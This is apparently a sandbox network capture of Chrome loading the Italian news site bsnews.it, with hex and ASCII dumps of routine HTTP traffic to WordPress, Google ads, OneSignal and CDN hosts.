2024-03-28 08:51:12 UTC	741	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 86b66081badb3b8f-IAD CF-Cache-Status: BYPASS cf-apo-via: origin,qs cf-edge-cache: cache,platform=wordpress x-cache-status: BYPASS x-content-type-options: nosniff x-powered-by: PHP/8.2.17 x-powered-by: PleskLin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tjqLxVAjcMvM3DgQKDkqVVvCwA2NKPtdoKzUf08poxAUE6DR07tSvBVWG9I4UXWFlXzbtwRs1Y610YKaQO7xpPNQvYgARzcydF0mApqpVJzKLGHf9pKbiq3%2B%2FFo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:12 UTC	628	IN	Data Raw: 65 35 35 0d 0a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 31 31 36 22 2c 22 73 68 6f 77 5f 74 68 75 6d 62 6e 61 69 6c 73 22 3a 74 72 75 65 2c 22 73 68 6f 77 5f 64 61 74 65 22 3a 74 72 75 65 2c 22 73 68 6f 77 5f 63 6f 6e 74 65 78 74 22 3a 74 72 75 65 2c 22 6c 61 79 6f 75 74 22 3a 22 67 72 69 64 22 2c 22 68 65 61 64 6c 69 6e 65 22 3a 22 43 6f 72 72 65 6c 61 74 69 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 64 22 3a 39 38 30 39 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 62 73 6e 65 77 73 2e 69 74 5c 2f 32 30 31 34 5c 2f 31 32 5c 2f 31 38 5c 2f 6d 6f 62 69 6c 69 74 61 2d 73 6f 73 74 65 6e 69 62 69 6c 65 2d 74 72 61 2d 6c 65 2d 63 69 74 74 61 2d 69 74 61 6c 69 61 6e 65 2d 62 72 65 73 63 69 61 2d 65 2d 6c 61 2d 71 75 69 6e 74 61 5c 2f 22 2c 22 Data Ascii: e55{"version":"20240116","show_thumbnails":true,"show_date":true,"show_context":true,"layout":"grid","headline":"Correlati","items":[{"id":9809,"url":"https:\/\/bsnews.it\/2014\/12\/18\/mobilita-sostenibile-tra-le-citta-italiane-brescia-e-la-quinta\/","
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 6c 61 73 73 69 66 69 63 61 20 73 6f 6e 6f 20 70 69 5c 75 30 30 66 39 20 66 61 74 74 6f 72 69 2c 20 64 61 6c 20 6e 75 6d 65 72 6f 20 64 69 20 70 61 72 63 68 65 67 67 69 20 73 63 61 6d 62 69 61 74 6f 72 69 20 65 20 61 20 70 61 67 61 6d 65 6e 74 6f 2c 20 61 6c 6c 61 20 64 69 66 66 75 73 69 6f 6e 65 20 64 65 6c 6c 65 20 70 69 73 74 65 20 63 69 63 6c 61 62 69 6c 69 20 66 69 6e 6f 20 61 6c 20 6c 69 76 65 6c 6c 6f 20 64 69 20 69 6e 63 69 64 65 6e 74 61 6c 69 74 5c 75 30 30 65 30 20 73 75 6c 6c 65 20 73 74 72 61 64 65 2c 20 6d 61 20 61 6e 63 68 65 20 6c 61 5c 75 32 30 32 36 22 2c 22 72 65 6c 22 3a 22 22 2c 22 63 6f 6e 74 65 78 74 22 3a 22 49 6e 20 26 71 75 6f 74 3b 43 72 6f 6e 61 63 61 26 71 75 6f 74 3b 22 2c 22 62 6c 6f 63 6b 5f 63 6f 6e 74 65 78 74 22 3a 7b 22 Data Ascii: lassifica sono pi\u00f9 fattori, dal numero di parcheggi scambiatori e a pagamento, alla diffusione delle piste ciclabili fino al livello di incidentalit\u00e0 sulle strade, ma anche la\u2026","rel":"","context":"In "Cronaca"","block_context":{"
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 30 2e 77 70 2e 63 6f 6d 5c 2f 62 73 6e 65 77 73 2e 69 74 5c 2f 77 70 2d 63 6f 6e 74 65 6e 74 5c 2f 75 70 6c 6f 61 64 73 5c 2f 32 30 31 38 5c 2f 30 34 5c 2f 71 75 61 74 74 72 6f 2d 63 6f 6c 2d 70 61 6c 6c 6f 6e 65 2d 6c 72 2e 6a 70 67 3f 66 69 74 3d 31 32 30 30 25 32 43 37 39 39 26 73 73 6c 3d 31 26 72 65 73 69 7a 65 3d 33 35 30 25 32 43 32 30 30 22 2c 22 77 69 64 74 68 22 3a 33 35 30 2c 22 68 65 69 67 68 74 22 3a 32 30 30 2c 22 73 72 63 73 65 74 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 30 2e 77 70 2e 63 6f 6d 5c 2f 62 73 6e 65 77 73 2e 69 74 5c 2f 77 70 2d 63 6f 6e 74 65 6e 74 5c 2f 75 70 6c 6f 61 64 73 5c 2f 32 30 31 38 5c 2f 30 34 5c 2f 71 75 61 74 74 72 6f 2d 63 6f 6c 2d 70 61 6c 6c 6f 6e 65 2d 6c 72 2e 6a 70 67 Data Ascii: :"https:\/\/i0.wp.com\/bsnews.it\/wp-content\/uploads\/2018\/04\/quattro-col-pallone-lr.jpg?fit=1200%2C799&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/bsnews.it\/wp-content\/uploads\/2018\/04\/quattro-col-pallone-lr.jpg
2024-03-28 08:51:12 UTC	310	IN	Data Raw: 20 5c 75 30 30 65 38 20 65 6d 65 72 73 6f 20 6e 65 6c 6c 61 20 70 72 65 73 65 6e 74 61 7a 69 6f 6e 65 20 64 65 6c 20 64 6f 73 73 69 65 72 20 4d 61 6c 27 61 72 69 61 20 32 30 31 33 5c 75 32 30 32 36 22 2c 22 72 65 6c 22 3a 22 22 2c 22 63 6f 6e 74 65 78 74 22 3a 22 49 6e 20 26 71 75 6f 74 3b 43 72 6f 6e 61 63 61 26 71 75 6f 74 3b 22 2c 22 62 6c 6f 63 6b 5f 63 6f 6e 74 65 78 74 22 3a 7b 22 74 65 78 74 22 3a 22 43 72 6f 6e 61 63 61 22 2c 22 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 62 73 6e 65 77 73 2e 69 74 5c 2f 63 61 74 65 67 6f 72 79 5c 2f 6e 6f 74 69 7a 69 65 5c 2f 6e 6f 74 69 7a 69 65 2d 63 61 74 65 67 6f 72 69 61 5c 2f 6e 6f 74 69 7a 69 65 2d 63 72 6f 6e 61 63 61 2d 62 72 65 73 63 69 61 5c 2f 22 7d 2c 22 69 6d 67 22 3a 7b 22 61 6c 74 5f 74 65 Data Ascii: \u00e8 emerso nella presentazione del dossier Mal'aria 2013\u2026","rel":"","context":"In "Cronaca"","block_context":{"text":"Cronaca","link":"https:\/\/bsnews.it\/category\/notizie\/notizie-categoria\/notizie-cronaca-brescia\/"},"img":{"alt_te
2024-03-28 08:51:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	49924	142.251.16.103	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	995	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-11020879-7&cid=30849489.1711615863&jid=988736763&_u=YADAAUAAAAAAACAAI~&z=36407948 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk
2024-03-28 08:51:12 UTC	539	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 28 Mar 2024 08:51:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49925	192.0.76.3	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	458	OUT	GET /g.gif?v=ext&blog=123231640&post=95325&tz=1&srv=bsnews.it&j=1%3A13.2.2&host=bsnews.it&ref=&fcp=4370&rand=0.5387852691627564 HTTP/1.1 Host: pixel.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	222	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: image/gif Content-Length: 50 Connection: close Cache-Control: no-cache Access-Control-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400
2024-03-28 08:51:12 UTC	50	IN	Data Raw: 47 49 46 38 39 61 06 00 05 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 06 00 05 00 00 02 09 0c 62 78 89 cd 6a 80 0c 05 00 3b Data Ascii: GIF89a!,bxj;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	49926	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	536	OUT	GET /codesour/bsnews/283.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 101 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:28 GMT x-rgw-object-type: Normal ETag: "024b97ff838033ce9ced686b5f532239" x-amz-request-id: tx000008dd08539b2754c20-0065cb807d-2bbc492-prg X-77-NZT: AyUTzgQ3NzehnJI73zc3N/+xkAUAWbu8pmWfWgA X-77-NZT-Ray: 8e305f1cbb0c8e47802f056603ec5715 X-Accel-Expires: @1711769551 X-Accel-Date: 1711251151 X-77-Cache: HIT X-77-Age: 364721 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:12 UTC	101	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 38 33 5d 2c 7b 32 38 33 3a 73 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 73 2e 65 78 70 6f 72 74 73 3d 5b 5d 7d 7d 5d 29 3b Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[283],{283:s=>{"use strict";s.exports=[]}}]);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	49927	104.18.215.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	700	OUT	GET /sdks/OneSignalSDK.js HTTP/1.1 Host: cdn.onesignal.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.os.tc/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
2024-03-28 08:51:12 UTC	514	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close etag: W/"a87c48d211877c49b878679b2e3cdab8" access-control-allow-headers: OneSignal-Subscription-Id via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 719 Expires: Sun, 31 Mar 2024 08:51:12 GMT Cache-Control: public, max-age=259200 Strict-Transport-Security: max-age=15552000; includeSubDomains Server: cloudflare CF-RAY: 86b660835bc420ca-IAD
2024-03-28 08:51:12 UTC	855	IN	Data Raw: 32 33 66 34 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 6f 29 7b 69 66 28 74 5b 6f 5d 29 72 65 74 75 72 6e 20 74 5b 6f 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6f 5d 3d 7b 69 3a 6f 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6f 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 65 2c 6e 2e 63 3d 74 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 Data Ascii: 23f4!function(e){var t={};function n(o){if(t[o])return t[o].exports;var r=t[o]={i:o,l:!1,exports:{}};return e[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerab
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 43 54 49 4f 4e 5f 4c 49 53 54 5f 57 49 54 48 5f 50 52 4f 4d 49 53 45 5f 54 4f 5f 53 54 55 42 2c 74 68 69 73 2e 73 74 75 62 50 72 6f 6d 69 73 65 46 75 6e 63 74 69 6f 6e 2c 74 29 7d 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 75 70 53 74 75 62 46 75 6e 63 74 69 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 6f 3d 74 68 69 73 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 6e 2e 69 6e 64 65 78 4f 66 28 65 29 3e 2d 31 29 72 65 74 75 72 6e 22 63 6f 6e 74 69 6e 75 65 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 65 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 5b 5d 2c 72 3d 30 3b 72 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e Data Ascii: CTION_LIST_WITH_PROMISE_TO_STUB,this.stubPromiseFunction,t)}return e.prototype.setupStubFunctions=function(e,t,n){for(var o=this,r=function(e){if(n.indexOf(e)>-1)return"continue";Object.defineProperty(i,e,{value:function(){for(var n=[],r=0;r<arguments.len
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 20 30 3d 3d 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6c 6f 67 6c 65 76 65 6c 22 29 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 74 72 61 63 65 22 21 3d 3d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 2c 65 2e 73 65 74 4c 65 76 65 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 76 6f 69 64 20 30 21 3d 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 74 72 79 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 Data Ascii: 0===window.localStorage)return!1;var e=window.localStorage.getItem("loglevel");return!(!e\|\|"trace"!==e.toLowerCase())}catch(e){return!1}},e.setLevel=function(t){if("undefined"!=typeof window&&void 0!==window.localStorage)try{window.localStorage.setItem("
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 62 6c 65 3a 21 31 2c 76 61 6c 75 65 3a 6f 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 2c 45 72 72 6f 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 22 29 3f 28 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 6f 2c 6f 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 2c 6f 29 3a 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6f 2c 22 73 74 61 63 6b 22 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 76 61 6c 75 65 3a 6e 65 77 20 45 72 72 6f 72 28 6e 29 2e 73 74 61 63 6b 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 Data Ascii: ble:!1,value:o.constructor.name,writable:!0}),Error.hasOwnProperty("captureStackTrace")?(Error.captureStackTrace(o,o.constructor),o):(Object.defineProperty(o,"stack",{configurable:!0,enumerable:!1,value:new Error(n).stack,writable:!0}),Object.setPrototype
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 3d 3d 3d 74 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 29 3a 28 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 6e 29 7d 29 2c 69 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 69 6d 70 6f 72 74 44 65 66 61 75 6c 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 65 3a 7b 64 65 66 61 75 6c 74 3a 65 7d 7d 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 4f 6e 65 53 69 67 6e 61 6c 53 74 75 62 45 53 35 3d 76 6f 69 64 20 30 3b 76 61 72 20 61 3d 6e 28 30 29 2c 75 3d 6e 28 33 29 2c 73 3d 69 28 6e 28 31 29 29 2c 63 3d 66 Data Ascii: rototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}),i=this&&this.__importDefault\|\|function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.OneSignalStubES5=void 0;var a=n(0),u=n(3),s=i(n(1)),c=f
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 70 65 3d 6e 75 6c 6c 3d 3d 3d 74 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 29 3a 28 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 6e 29 7d 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 4f 6e 65 53 69 67 6e 61 6c 53 74 75 62 45 53 36 3d 76 6f 69 64 20 30 3b 76 61 72 20 4f 6e 65 53 69 67 6e 61 6c 53 74 75 62 45 53 36 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 4f 6e 65 53 69 67 6e 61 6c 53 74 75 62 45 53 36 28 74 29 7b 76 61 72 20 6e 3d 65 2e 63 61 6c 6c 28 74 68 69 73 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 28 4f 6e 65 53 69 67 6e 61 6c 53 Data Ascii: pe=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0}),t.OneSignalStubES6=void 0;var OneSignalStubES6=function(e){function OneSignalStubES6(t){var n=e.call(this,Object.getOwnPropertyNames(OneSignalS
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 69 6e 64 6f 77 2e 73 61 66 61 72 69 2e 70 75 73 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 7c 7c 6f 28 29 7d 2c 74 2e 69 73 4d 61 63 4f 53 53 61 66 61 72 69 49 6e 49 66 72 61 6d 65 3d 6f 2c 74 2e 73 75 70 70 6f 72 74 73 56 61 70 69 64 50 75 73 68 3d 72 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 4f 6e 65 53 69 67 6e 61 6c 53 68 69 6d 4c 6f 61 64 65 72 3d 76 6f 69 64 20 30 3b 76 61 72 20 6f 3d 6e 28 36 29 2c 72 3d 6e 28 35 29 2c 69 3d 6e 28 34 29 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 72 65 74 75 72 6e 20 65 2e 61 64 Data Ascii: indow.safari.pushNotification\|\|o()},t.isMacOSSafariInIframe=o,t.supportsVapidPush=r},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.OneSignalShimLoader=void 0;var o=n(6),r=n(5),i=n(4),a=function(){function e(){}return e.ad
2024-03-28 08:51:12 UTC	143	IN	Data Raw: 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 6e 28 37 29 2e 4f 6e 65 53 69 67 6e 61 6c 53 68 69 6d 4c 6f 61 64 65 72 2e 73 74 61 72 74 28 29 7d 5d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 4f 6e 65 53 69 67 6e 61 6c 53 44 4b 2e 6a 73 2e 6d 61 70 0d 0a Data Ascii: ){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),n(7).OneSignalShimLoader.start()}]);//# sourceMappingURL=OneSignalSDK.js.map
2024-03-28 08:51:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49929	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240326_2120.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	591	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: image/jpeg Content-Length: 9339 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:25 GMT Expires: Sat, 28 Mar 2026 05:35:25 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240326_2120.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "ddf2da0fd1d6007c" X-Bytes-Saved: 410 Vary: Accept X-nc: HIT dca 5 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:12 UTC	778	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff c4 00 18 01 00 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f2 e0 13 00 00 00 00 00 00 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"
